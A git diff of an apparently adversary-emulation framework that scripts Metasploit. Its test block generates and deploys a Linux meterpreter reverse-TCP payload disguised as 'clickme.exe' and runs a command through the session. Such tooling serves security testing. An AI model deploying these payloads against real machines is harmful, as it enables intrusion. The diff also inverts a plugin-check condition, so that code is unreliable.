diff --git a/app/metasploit.py b/app/metasploit.py index 9cb5170..6577bdd 100644 --- a/app/metasploit.py +++ b/app/metasploit.py @@ -1,4 +1,5 @@ #!/usr/bin/env python3 +""" Module to control Metasploit and related tools (MSFVenom) on the attack server """ from pymetasploit3.msfrpc import MsfRpcClient # from app.machinecontrol import Machine diff --git a/machine_control.py b/machine_control.py index b704edf..b1780eb 100644 --- a/machine_control.py +++ b/machine_control.py @@ -22,7 +22,7 @@ def create_machines(arguments): attack_logger = AttackLog(arguments.verbose) target_ = Machine(config["targets"]["target1"], attack_logger) - attacker_1 = Machine(config["attackers"]["attacker"]) + attacker_1 = Machine(config["attackers"]["attacker"], attack_logger) print("Got them") diff --git a/metasploit_control.py b/metasploit_control.py index e2e0fd9..4e1f7f6 100644 --- a/metasploit_control.py +++ b/metasploit_control.py @@ -1,3 +1,6 @@ +#!/usr/bin/env python3 +""" Command line tool to interact with metasploit running on the attack server """ + from app.machinecontrol import Machine from app.attack_log import AttackLog from app.metasploit import MSFVenom, Metasploit @@ -6,13 +9,13 @@ from app.metasploit import MSFVenom, Metasploit # For some local tests if __name__ == "__main__": - # msfrpcd -S -P password -u user -f + # msfrpcd -S -P PASSWORD -u USER -f # attacker_ip = "192.168.178.125" # target_ip = "192.168.178.125" # Metasploit RPC - password = "password" - user = "user" + PASSWORD = "PASSWORD" + USER = "USER" attack_logger = AttackLog(2) attacker = Machine({ # "root": "systems/attacker1", @@ -39,14 +42,14 @@ if __name__ == "__main__": target.up() venom = MSFVenom(attacker, target, attack_logger) - payload_type = "linux/x64/meterpreter_reverse_tcp" - print(venom.generate_cmd(payload=payload_type, - architecture="x64", - platform="linux", - # lhost, - format="elf", - outfile="clickme.exe")) - venom.generate_and_deploy(payload=payload_type, + PAYLOAD_TYPE = "linux/x64/meterpreter_reverse_tcp" + print(venom.generate_payload(payload=PAYLOAD_TYPE, + architecture="x64", + platform="linux", + # lhost, + format="elf", + outfile="clickme.exe")) + venom.generate_and_deploy(payload=PAYLOAD_TYPE, architecture="x64", platform="linux", lhost=attacker.get_ip(), @@ -56,8 +59,8 @@ if __name__ == "__main__": # TODO get meterpreter session # TODO simple command to test - metasploit = Metasploit(password, attacker=attacker, username=user) - metasploit.start_exploit_stub_for_external_payload(payload=payload_type) + metasploit = Metasploit(PASSWORD, attacker=attacker, username=USER) + metasploit.start_exploit_stub_for_external_payload(payload=PAYLOAD_TYPE) print(metasploit.meterpreter_execute(["getuid"], 0)) # client = MsfRpcClient('yourpassword', ssl=True) diff --git a/plugin_manager.py b/plugin_manager.py index f1d3e2c..87999be 100755 --- a/plugin_manager.py +++ b/plugin_manager.py @@ -12,8 +12,8 @@ def list_plugins(arguments): """ List plugins """ attack_logger = AttackLog(arguments.verbose) - p = PluginManager(attack_logger) - p.print_list() + plugin_manager = PluginManager(attack_logger) + plugin_manager.print_list() return 0 @@ -21,9 +21,9 @@ def check_plugins(arguments): """ Check plugins for validity """ attack_logger = AttackLog(arguments.verbose) - p = PluginManager(attack_logger) - res = p.print_check() - if len(res): + plugin_manager = PluginManager(attack_logger) + res = plugin_manager.print_check() + if len(res) == 0: print("*************************************") print("Some issues in plugins were found: ") print("\n".join(res)) @@ -34,8 +34,8 @@ def get_default_config(arguments): """ print default config of a specific plugin """ attack_logger = AttackLog(arguments.verbose) - p = PluginManager(attack_logger) - p.print_default_config(arguments.subclass_name, arguments.plugin_name) + plugin_manager = PluginManager(attack_logger) + plugin_manager.print_default_config(arguments.subclass_name, arguments.plugin_name) def create_parser(): diff --git a/requirements.txt b/requirements.txt index 7dafc5e..14e4c13 100644 --- a/requirements.txt +++ b/requirements.txt @@ -12,3 +12,4 @@ straight.plugin==1.5.0 sphinxcontrib.asciinema==0.3.2 paramiko==2.7.2 pymetasploit3==1.0.3 +pylint